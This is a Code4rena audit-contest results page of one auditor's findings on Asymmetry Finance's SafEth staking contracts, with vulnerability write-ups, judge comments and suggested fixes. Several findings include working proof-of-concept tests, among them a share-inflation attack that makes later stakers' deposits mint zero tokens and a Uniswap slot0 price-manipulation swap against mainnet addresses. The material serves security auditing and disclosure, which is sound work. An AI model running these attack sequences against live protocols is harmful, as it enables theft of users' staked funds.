Asymmetry contest - MiloTruck's results

A protocol to help diversify and decentralize liquid staking derivatives.

General Information

Platform: Code4rena

Start Date: 24/03/2023

Pot Size: $49,200 USDC

Total HM: 20

Participants: 246

Period: 6 days

Judge: Picodes

Total Solo HM: 1

Id: 226

League: ETH

Asymmetry Finance

Findings Distribution

Researcher Performance

Rank: 29/246

Findings: 7

Award: $224.11

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

3.4908 USDC - $3.49

Labels

bug
3 (High Risk)
high quality report
satisfactory
edited-by-warden
duplicate-1098

External Links

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L77-L81

Vulnerability details

Impact

An attacker can cause all subsequent stakers to not receive any SafETH tokens.

Vulnerability Details

In the SafEth contract, whenever a user calls stake() to stake ETH, the following occurs:

SafEth.sol#L70-L75

// Getting underlying value in terms of ETH for each derivative
for (uint i = 0; i < derivativeCount; i++)
    underlyingValue +=
        (derivatives[i].ethPerDerivative(derivatives[i].balance()) *
            derivatives[i].balance()) /
        10 ** 18;

First, the total ETH value held by the protocol is calculated by multiplying the balance of each derivative contract with the derivative's ethPerDerivative. This underlying value is then used to determine the preDepositPrice of each SafETH token:

SafEth.sol#L77-L81

uint256 totalSupply = totalSupply();
uint256 preDepositPrice; // Price of safETH in regards to ETH
if (totalSupply == 0)
    preDepositPrice = 10 ** 18; // initializes with a price of 1
else preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply;

Afterwards, the amount of ETH staked is divided by preDepositPrice to determine the amount of SafETH tokens to be minted to the user:

SafEth.sol#L97-L99

// mintAmount represents a percentage of the total assets in the system
uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice;
_mint(msg.sender, mintAmount);

However, the calculation above can be exploited when totalSupply is small:

  • An attacker directly transfers a huge amount of derivative tokens to their respective derivative contracts.
    • This causes derivatives[i].balance() to increase, therefore underlyingValue becomes extremely large.
    • As totalSupply is small, preDepositPrice becomes extremely large.
  • Subsequently, if a user stakes a small amount of ETH:
    • preDepositPrice is larger than totalSupplyValueEth * 10 ** 18.
    • mintAmount becomes 0 due to Solidity's division rounding down.
    • User receives no SafETH shares, causing him to lose all his staked ETH.

Proof of Concept

If totalSupply is 0, an early attacker can do the following:

  • Attacker calls stake() with 0.5 ETH (minimum amount), gaining 5e17 SafETH tokens in return.
  • Attacker calls unstake() with _safEthAmount = 5e17 - 1:
    • Only 1 SafETH token is left in the contract.
    • totalSupply of SafETH is now 1.
  • Attacker transfers 200 WstETH to the WstETH derivative contract.

Now, if a user stakes a reasonable amount of ETH, such as 200 ETH (maximum amount):

  • underlyingValue = 223076696957989386803
  • preDepositPrice = (10 ** 18 * 223076696957989386803) / 1 = 223076696957989386803000000000000000000
  • mintAmount = (200e18 * 10 ** 18) / 223076696957989386803000000000000000000, which rounds down to 0.

As such, the user receives no SafETH after staking. His staked ETH accrues to the attacker, who can withdraw all ETH in the protocol by unstaking his last SafETH token.

The following test demonstrates the scenario above:

import { ethers } from "hardhat";
import { expect } from "chai";
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { initialUpgradeableDeploy } from "./helpers/upgradeHelpers";
import { SafEth } from "../typechain-types";
import { WSTETH_ADRESS } from "./helpers/constants";
import ERC20 from "@openzeppelin/contracts/build/contracts/ERC20.json";

describe("Attacker can break minting when totalSupply is small", () => {
    let safETH: SafEth;
    let ATTACKER: SignerWithAddress;
    let USER: SignerWithAddress;

    before(async () => {
        // Initialize accounts
        [ATTACKER, USER,] = await ethers.getSigners() 

        // Initialize safETH contract
        safETH = (await initialUpgradeableDeploy()) as SafEth;
    });

    it("User doesn't gain safETH after staking", async () => {
        // ATTACKER deposits 250 ETH for wstETH
        const wstETH = new ethers.Contract(WSTETH_ADRESS, ERC20.abi);
        await ATTACKER.sendTransaction({
            to: wstETH.address,
            value: ethers.utils.parseEther("250")
        });

        // ATTACKER stakes minimum amount of ETH (0.5 ether)
        await safETH.connect(ATTACKER).stake({
            value: ethers.utils.parseEther("0.5"),
        });

        // ATTACKER unstakes most of his safETH and leaves 1 remaining
        let attackerSafETHBalance = await safETH.balanceOf(ATTACKER.address);
        await safETH.connect(ATTACKER).unstake(attackerSafETHBalance.sub(1));

        // totalSupply of safETH is now 1
        expect(await safETH.totalSupply()).eq(1);

        // ATTACKER transfers 200 wstETH to the wstETH derivative contract
        await wstETH.connect(ATTACKER).transfer(
            await safETH.derivatives(2), 
            ethers.utils.parseEther("200")
        );
        
        // USER stakes maximum amount of ETH (200 ether)
        await safETH.connect(USER).stake({
            value: ethers.utils.parseEther("200"),
        });

        // USER does not gain any safETH in return
        expect(await safETH.balanceOf(USER.address)).eq(0);
    })
})

Consider setting preDepositPrice as 10 ** 18 when totalSupply is extremely small:

SafEth.sol#L79-L82

+       if (totalSupply < 1000) 
-       if (totalSupply == 0)
            preDepositPrice = 10 ** 18; // initializes with a price of 1
        else preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply;

Additionally, ensure the amount of SafETH to be minted is non-zero:

SafEth.sol#L97-L99

        // mintAmount represents a percentage of the total assets in the system
        uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice;
+       require(mintAmount != 0, "No SafETH minted");
        _mint(msg.sender, mintAmount);

#0 - c4-pre-sort

2023-03-31T19:26:17Z

0xSorryNotSorry marked the issue as high quality report

#1 - c4-pre-sort

2023-04-04T12:45:54Z

0xSorryNotSorry marked the issue as duplicate of #715

#2 - c4-judge

2023-04-21T14:56:35Z

Picodes marked the issue as satisfactory

Awards

81.3214 USDC - $81.32

Labels

bug
3 (High Risk)
high quality report
satisfactory
upgraded by judge
edited-by-warden
duplicate-1004

External Links

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L70-L75 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L91-L95

Vulnerability details

Impact

When staking, users might receive incorrect amounts of SafETH tokens, causing them to lose or unfairly gain ETH.

Vulnerability Details

In the Reth contract, ethPerDerivative() is used to fetch the price of rETH in terms of ETH:

Reth.sol#L206-L216

/**
    @notice - Get price of derivative in terms of ETH
    @dev - we need to pass amount so that it gets price from the same source that it buys or mints the rEth
    @param _amount - amount to check for ETH price
*/
function ethPerDerivative(uint256 _amount) public view returns (uint256) {
    if (poolCanDeposit(_amount))
        return
            RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18);
    else return (poolPrice() * 10 ** 18) / (10 ** 18);
}

For rETH specifically, ethPerDerivative() returns two possible prices:

  • If _amount can be deposited, price is based of getEthValue(10 ** 18), the price of rETH in the rocket deposit pool.
  • Otherwise, price is calculated using poolprice(), which is the price of rETH in the Uniswap liquidity pool.

To determine which price is returned, poolCanDeposit() is called, which has the following return statement:

Reth.sol#L146-L149

return
    rocketDepositPool.getBalance() + _amount <=
    rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize() &&
    _amount >= rocketDAOProtocolSettingsDeposit.getMinimumDeposit();

As seen from above, poolCanDeposit() checks if _amount can be deposited into RocketDepositPool. Therefore, if _amount can be deposited into rocket pool, ethPerDerivative() returns its price. Otherwise, Uniswap's price is returned.

This becomes an issue in the SafEth contract. In the stake() function, ethPerDerivative() is first called when calculating the value held in each derivative contract:

SafEth.sol#L70-L75

// Getting underlying value in terms of ETH for each derivative
for (uint i = 0; i < derivativeCount; i++)
    underlyingValue +=
        (derivatives[i].ethPerDerivative(derivatives[i].balance()) *
            derivatives[i].balance()) /
        10 ** 18;

Afterwards, stake() uses the following logic to deposit ETH into each derivative contract:

SafEth.sol#L91-L95

uint256 depositAmount = derivative.deposit{value: ethAmount}();
uint derivativeReceivedEthValue = (derivative.ethPerDerivative(
    depositAmount
) * depositAmount) / 10 ** 18;
totalStakeValueEth += derivativeReceivedEthValue;

The code above does the following:

  1. deposit() is called for each derivative. For rETH, ethAmount is deposited into rocket pool if possible.
  2. ethPerDerivative() is called again to determine the amount of ETH deposited.

However, as the second call to ethPerDerivative() is after a deposit, it is possible for both calls to return different prices.

Proof of Concept

Consider the following scenario:

  • Rocket pool starts with the following:
    • depositPoolBalance = 5000 ether
    • maximumDepositPoolSize = 5004 ether
  • Bob calls stake() to stake 10 ETH
    • As all three derivatives have equal weights, 3.33 ETH is allocated to the rETH derivative contract.
    • In the first call to ethPerDerivative():
      • As depositPoolBalance + 3.33 ETH is less than maximumDepositPoolSize, poolCanDeposit() returns true.
      • Thus, ethPerDerivative() returns rocket pool's rETH price.
    • 3.33 ETH is deposited into rocket pool:
      • depositPoolBalance = 5000 ether + 3.3 ether = 5003.3 ether.
    • In the second call to ethPerDerivative():
      • Now, depositPoolBalance + 3.33 ETH is more than maximumDepositPoolSize, thus poolCanDeposit() returns false.
      • As such, ethPerDerivative() returns Uniswap's price instead.

In the scenario above, due to the difference in Rocket pool and Uniswap's prices, Bob will receive an incorrect amount of SafETH, causing him to unfairly gain or lose ETH.

The test below demonstrates how a user can gain more SafETH than normal due to the difference in prices. Before running the test, copy RocketDAOProtocolSettingsInterface.sol into 2023-03-asymmetry/contracts/.

import { ethers, network } from "hardhat";
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { initialUpgradeableDeploy } from "./helpers/upgradeHelpers";
import { SafEth, RocketStorageInterface, RocketDAOProtocolSettingsDepositInterface } from "../typechain-types";
import { ROCKET_STORAGE_ADDRESS } from "./helpers/constants";
import { BigNumber } from "ethers";
import { expect } from "chai";

describe("stake(): Incorrect amount of safETH due to rETH", () => {
    let safETH: SafEth;
    let USER: SignerWithAddress;
    let rocketStorage: RocketStorageInterface;
    let rocketDAOProtocolSettingsDeposit: RocketDAOProtocolSettingsDepositInterface;

    const stakeAmount = ethers.utils.parseEther("10");
    
    // Function to get address from rocket storage
    const getRocketAddress = async (key: string) => {
        const data = ethers.utils.solidityKeccak256(["string", "string"], ["contract.address", key]);
        const address = await rocketStorage.getAddress(data);
        return address;
    };

    // Function to reset the state
    const resetToBlock = async (blockNumber: number) => {
        await network.provider.request({
            method: "hardhat_reset",
            params: [{
                    forking: {
                        jsonRpcUrl: process.env.MAINNET_URL,
                        blockNumber,
                    }
                }],
        });
    };

    // Function to set the value of rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize
    const setMaximumDepositPoolSize = async (v: BigNumber) => {
        const rocketDAOAddress = await getRocketAddress("rocketDAOProtocolProposals");
        const rocketDAOProtocolSettings = await ethers.getContractAt(
            "RocketDAOProtocolSettingsInterface", 
            rocketDAOProtocolSettingsDeposit.address
        );

        const rocketDAO = await ethers.getImpersonatedSigner(rocketDAOAddress);
        await network.provider.send("hardhat_setBalance", [rocketDAO.address, "0x1bc16d674ec80000"]);
        await rocketDAOProtocolSettings.connect(rocketDAO).setSettingUint("deposit.pool.maximum", v);
    };

    beforeEach(async () => {
        // Reset block
        const latestBlock = await ethers.provider.getBlock("latest");
        await resetToBlock(latestBlock.number);

        // Initialize accounts
        [USER,] = await ethers.getSigners()

        // Initialize safETH contract
        safETH = (await initialUpgradeableDeploy()) as SafEth;

        // Fetch rocket pool contracts
        rocketStorage = await ethers.getContractAt("RocketStorageInterface", ROCKET_STORAGE_ADDRESS);
        rocketDAOProtocolSettingsDeposit = await ethers.getContractAt(
            "RocketDAOProtocolSettingsDepositInterface",
            await getRocketAddress("rocketDAOProtocolSettingsDeposit")
        );

    });

    
    let normalAmount: BigNumber;
    it("balance way smaller MaximumDepositPoolSize", async () => {
        // Set maximum deposit pool size to 10,000 ether
        await setMaximumDepositPoolSize(ethers.utils.parseEther("10000"));

        // Stake 10 ether
        await safETH.connect(USER).stake({value: stakeAmount});
        
        // Store amount of safETH for comparison
        normalAmount = await safETH.balanceOf(USER.address); // 10000990329362121096
    })

    it("balance close to MaximumDepositPoolSize", async () => {
        // Make deposit pool will be maxed out after depositing 10 ether
        await setMaximumDepositPoolSize(ethers.utils.parseEther("5004"));

        // Stake 10 ether
        await safETH.connect(USER).stake({value: stakeAmount});

        // Received more safETH than supposed to
        const receivedAmount = await safETH.balanceOf(USER.address); // 10020876069348501487
        expect(receivedAmount).gt(normalAmount);       
    })
})

Consider making the following changes to stake():

  • Before the deposit, store the results of ethPerDerivative() for each derivative.
  • After the deposit, use the stored values instead of calling ethPerDerivative() again.

#0 - c4-pre-sort

2023-04-06T12:07:08Z

0xSorryNotSorry marked the issue as high quality report

#1 - c4-pre-sort

2023-04-06T12:08:20Z

0xSorryNotSorry marked the issue as duplicate of #1004

#2 - c4-judge

2023-04-21T14:04:02Z

Picodes marked the issue as duplicate of #1125

#3 - c4-judge

2023-04-21T14:10:33Z

Picodes marked the issue as not a duplicate

#4 - c4-judge

2023-04-21T14:10:43Z

Picodes marked the issue as duplicate of #1004

#5 - c4-judge

2023-04-21T14:10:47Z

Picodes marked the issue as satisfactory

#6 - c4-judge

2023-04-24T21:40:08Z

Picodes changed the severity to 3 (High Risk)

Awards

4.5426 USDC - $4.54

Labels

bug
3 (High Risk)
satisfactory
upgraded by judge
duplicate-588

External Links

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/WstEth.sol#L83-L88 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/WstEth.sol#L58-L6

Vulnerability details

Impact

In the WstETH contract, calculations assume that the price of stETH is the same as ETH (1 stETH = 1 ETH).

Although extremely unlikely, it is still possible for the price of stETH to deviate from ETH. If this occurs, calculations that involve the price of WstETH will be incorrect, potentially causing asset loss to users.

Proof of Concept

ethPerDerivative() is used to determine the derivative's value in terms of ETH:

WstEth.sol#L83-L88

/**
    @notice - Get price of derivative in terms of ETH
    */
function ethPerDerivative(uint256 _amount) public view returns (uint256) {
    return IWStETH(WST_ETH).getStETHByWstETH(10 ** 18);
}

As getStETHByWstETH() converts WstETH to stETH, ethPerDerivative() returns the price of WstETH in terms of stETH instead. This might cause loss of assets to users as ethPerDerivative() is used in staking calculations.

This assumption also occurs in withdraw():

WstEth.sol#L58-L61

uint256 stEthBal = IERC20(STETH_TOKEN).balanceOf(address(this));
IERC20(STETH_TOKEN).approve(LIDO_CRV_POOL, stEthBal);
uint256 minOut = (stEthBal * (10 ** 18 - maxSlippage)) / 10 ** 18;
IStEthEthPool(LIDO_CRV_POOL).exchange(1, 0, stEthBal, minOut);

minOut, which represents the minimum ETH received, is calculated by subtracting slippage from the contract's stETH balance. If the price of stETH is low, the amount of ETH received from the swap, and subsequently sent to the user, might be less than intended.

Use a price oracle to approximate the rate for converting stETH to ETH.

#0 - c4-pre-sort

2023-04-04T17:13:14Z

0xSorryNotSorry marked the issue as duplicate of #588

#1 - c4-judge

2023-04-23T11:07:04Z

Picodes changed the severity to 3 (High Risk)

#2 - c4-judge

2023-04-24T20:44:44Z

Picodes marked the issue as satisfactory

Findings Information

🌟 Selected for report: HollaDieWaldfee

Also found by: 0Kage, 0x52, 0xRobocop, Cryptor, HHK, MiloTruck, ToonVH, adriro, carrotsmuggler, d3e4, igingu

Labels

3 (High Risk)
partial-50
duplicate-210

Awards

97.5506 USDC - $97.55

External Links

Judge has assessed an item in Issue #883 as 3 risk. The relevant finding follows:

As such, if deposit() or withdraw() reverts for any derivative, stake() and unstake() will fail.

This could cause stake() and unstake() to permanently revert for an prolonged period of time, as it is possible for deposit() and withdraw() to revert due to unchecked external conditions:

Reth The rocket pool DAO can disable deposits. Withdrawals will fail if rocket pool does not have sufficient ETH. WstETH stETH has a daily staking limit, which could cause deposits to fail. If any of the external conditions above occurs, their respecitve function will be DOSed.

Although an owner can prevent this by setting the affected derivative's weight to 0, this is not a sufficient mitigation as:

This affects the ETH distribution for each derivative, potentially making it unbalanced. If the DOS is over a short period of time but occurs repeatedly, such as stETH's staking limit, the owner will have to keep adjusting the affected derivative's weight.

#0 - c4-judge

2023-04-27T10:28:49Z

Picodes marked the issue as duplicate of #210

#1 - c4-judge

2023-04-27T10:29:16Z

Picodes marked the issue as partial-50

#2 - Picodes

2023-04-27T10:29:33Z

Partial credit as this isn't what the finding is originally about and the impact isn't clearly described

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L228-L242

Vulnerability details

Impact

The output of poolPrice(), which is used to determine the price of rETH, can be manipulated to become extremely small or large. An attacker abuse this to gain large amounts of SafETH during staking.

Vulnerability Details

In the Reth contract, poolPrice() contains the following code:

Reth.sol#L228-L242

 function poolPrice() private view returns (uint256) {
    address rocketTokenRETHAddress = RocketStorageInterface(
        ROCKET_STORAGE_ADDRESS
    ).getAddress(
            keccak256(
                abi.encodePacked("contract.address", "rocketTokenRETH")
            )
        );
    IUniswapV3Factory factory = IUniswapV3Factory(UNI_V3_FACTORY);
    IUniswapV3Pool pool = IUniswapV3Pool(
        factory.getPool(rocketTokenRETHAddress, W_ETH_ADDRESS, 500)
    );
    (uint160 sqrtPriceX96, , , , , , ) = pool.slot0();
    return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2);
}

As seen above, poolPrice() calculates the price of rETH using sqrtRatioX96.

However, this is unsafe as slot0 is the most recent data point, and is extremely easy to manipulate. This makes poolPrice() vulnerable to price manipulation.

As poolPrice() is used to determine the price of rETH during staking, an attacker can abuse this vulnerability to unfairly gain large amounts of SafETH when staking.

Proof of Concept

Whem the rETH/WETH pool has low liquidity, an attacker can manipulate sqrtPriceX96 to become extremely large by swapping a huge amount of WETH for rETH. In contrast, the attacker can also swap rETH for WETH to make sqrtPriceX96 become extremely small.

The foundry test below demonstrates how sqrtPriceX96 can be manipulated:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/interfaces/IWETH.sol";
import "../src/interfaces/rocketpool/RocketTokenRETHInterface.sol";
import "../src/interfaces/uniswap/IUniswapV3Factory.sol";
import "../src/interfaces/uniswap/IUniswapV3Pool.sol";
import "../src/interfaces/uniswap/UniswapMath.sol";
import "../src/interfaces/uniswap/ISwapRouter.sol";

contract UniswapTest is Test {
    
    address public constant UNISWAP_POOL_ADDRESS = 0xa4e0faA58465A2D369aa21B3e42d43374c6F9613;
    address public constant RETH_ADDRESS = 0xae78736Cd615f374D3085123A210448E74Fc6393;
    address public constant W_ETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address public constant UNISWAP_ROUTER = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
    address public constant UNI_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984;

    address public constant ATTACKER = address(0x1337);

    RocketTokenRETHInterface public RETH;
    IWETH public WETH;
    IUniswapV3Pool public uniswapPool;

    function setUp() public {
        RETH = RocketTokenRETHInterface(RETH_ADDRESS); 
        WETH = IWETH(W_ETH_ADDRESS);
        uniswapPool = IUniswapV3Pool(UNISWAP_POOL_ADDRESS);
    }

    function poolPrice() private view returns (uint256) {
        IUniswapV3Factory factory = IUniswapV3Factory(UNI_V3_FACTORY);
        IUniswapV3Pool pool = IUniswapV3Pool(
            factory.getPool(RETH_ADDRESS, W_ETH_ADDRESS, 500)
        );
        (uint160 sqrtPriceX96, , , , , , ) = pool.slot0();
        return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2);
    }

    function testPoolPrice() public {
        // Attacker takes out flash loan and gets 5000 WETH
        deal(address(WETH), ATTACKER, 5000 ether);

        vm.startPrank(ATTACKER);

        // Get price of sqrtPriceX96 before the swap
        (uint160 sqrtPriceX96, , , , , , ) = uniswapPool.slot0();
        console.log("sqrtPriceX96 before:", sqrtPriceX96);

        // Attacker swaps WETH for rETH
        WETH.approve(UNISWAP_ROUTER, 5000 ether);
        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
            .ExactInputSingleParams({
                tokenIn: address(WETH),
                tokenOut: address(RETH),
                fee: 500,
                recipient: address(this),
                amountIn: 5000 ether,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: UniswapMath.getSqrtRatioAtTick(UniswapMath.MAX_TICK - 1)
            });
        ISwapRouter(UNISWAP_ROUTER).exactInputSingle(params);

        // Price of sqrtPriceX96 changes drastically
        (sqrtPriceX96, , , , , , ) = uniswapPool.slot0();
        console.log("sqrtPriceX96 after:", sqrtPriceX96);
    }
}

#0 - c4-pre-sort

2023-04-04T11:17:12Z

0xSorryNotSorry marked the issue as duplicate of #601

#1 - c4-judge

2023-04-21T16:11:48Z

Picodes marked the issue as satisfactory

#2 - c4-judge

2023-04-21T16:15:36Z

Picodes marked the issue as duplicate of #1125

Findings Information

Awards

28.8013 USDC - $28.80

Labels

2 (Med Risk)
satisfactory
duplicate-812

External Links

Judge has assessed an item in Issue #883 as 2 risk. The relevant finding follows:

This could cause stake() and unstake() to permanently revert for an prolonged period of time, as it is possible for deposit() and withdraw() to revert due to unchecked external conditions:

Reth The rocket pool DAO can disable deposits. Withdrawals will fail if rocket pool does not have sufficient ETH. WstETH stETH has a daily staking limit, which could cause deposits to fail. If any of the external conditions above occurs, their respecitve function will be DOSed.

Although an owner can prevent this by setting the affected derivative's weight to 0, this is not a sufficient mitigation as:

This affects the ETH distribution for each derivative, potentially making it unbalanced. If the DOS is over a short period of time but occurs repeatedly, such as stETH's staking limit, the owner will have to keep adjusting the affected derivative's weight.

#0 - c4-judge

2023-04-27T10:29:08Z

Picodes marked the issue as duplicate of #812

#1 - c4-judge

2023-04-27T10:29:13Z

Picodes marked the issue as satisfactory

Awards

8.2654 USDC - $8.27

Labels

bug
2 (Med Risk)
high quality report
satisfactory
duplicate-770

External Links

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L108 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L146-L149 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/WstEth.sol#L76

Vulnerability details

Impact

stake() and unstake() might permanently revert for a prolonged period of time.

Vulnerability Details

In the SafETH contract, stake() calls deposit() for each derivative in a loop:

SafEth.sol#L84-L96

for (uint i = 0; i < derivativeCount; i++) {
    // Some code here...
    
    uint256 depositAmount = derivative.deposit{value: ethAmount}();
    
    // Some code here...
}

Likewise, unstake() calls withdraw() for each derivative in a loop:

SafEth.sol#L113-L119

for (uint256 i = 0; i < derivativeCount; i++) {
    // Some code here...

    derivatives[i].withdraw(derivativeAmount);
}

As such, if deposit() or withdraw() reverts for any derivative, stake() and unstake() will fail.

This could cause stake() and unstake() to permanently revert for an prolonged period of time, as it is possible for deposit() and withdraw() to revert due to unchecked external conditions:

If any of the external conditions above occurs, their respecitve function will be DOSed.

Although an owner can prevent this by setting the affected derivative's weight to 0, this is not a sufficient mitigation as:

  1. This affects the ETH distribution for each derivative, potentially making it unbalanced.
  2. If the DOS is over a short period of time but occurs repeatedly, such as stETH's staking limit, the owner will have to keep adjusting the affected derivative's weight.

Proof of Concept

The test below demonstrates how the 150,000 staking limit for stETH could cause stake() to revert:

import { ethers, network } from "hardhat";
import { expect } from "chai";
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { initialUpgradeableDeploy } from "./helpers/upgradeHelpers";
import { SafEth } from "../typechain-types";
import { WSTETH_ADRESS } from "./helpers/constants";

describe("stake() might fail due to external conditions", () => {
    let safETH: SafEth;
    let USER: SignerWithAddress;

    before(async () => {
        // Initialize accounts
        [USER,] = await ethers.getSigners() 
        await network.provider.send("hardhat_setBalance", [USER.address, "0xf1e19e0c9bab24000000"]);

        // Initialize safETH contract
        safETH = (await initialUpgradeableDeploy()) as SafEth;
    });

    it("stETH staking limit causes stake() to revert", async () => {
        // Daily staking limit of 150,000 for stETH is reached
        const tx = USER.sendTransaction({
            to: WSTETH_ADRESS,
            value: ethers.utils.parseEther("150000"),
            data: "0x",
        });
        await tx;
        
        // USER stakes 80 ETH (26.7 ETH for WstETH), triggering the staking limit
        const tx2 = safETH.connect(USER).stake({
            value: ethers.utils.parseEther("80"),
        });

        // Call to stake() above should revert
        await expect(tx2).to.be.revertedWith("Failed to send Ether");
    })
})

Check for the external conditions mentioned and handle them. For example, swap the staked ETH for derivatives through Uniswap in deposit(), and vice versa for withdraw().

#0 - c4-pre-sort

2023-04-02T12:25:13Z

0xSorryNotSorry marked the issue as high quality report

#1 - c4-pre-sort

2023-04-04T18:54:08Z

0xSorryNotSorry marked the issue as duplicate of #812

#2 - c4-judge

2023-04-24T19:40:55Z

Picodes marked the issue as not a duplicate

#3 - c4-judge

2023-04-24T19:41:30Z

Picodes marked the issue as duplicate of #770

#4 - c4-judge

2023-04-24T19:41:35Z

Picodes marked the issue as satisfactory

#5 - c4-judge

2023-04-27T10:27:09Z

Picodes marked the issue as not a duplicate

#6 - c4-judge

2023-04-27T10:27:15Z

Picodes changed the severity to QA (Quality Assurance)

#7 - c4-judge

2023-04-27T10:28:12Z

This previously downgraded issue has been upgraded by Picodes

#8 - c4-judge

2023-04-27T10:28:35Z

Picodes marked the issue as duplicate of #770

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter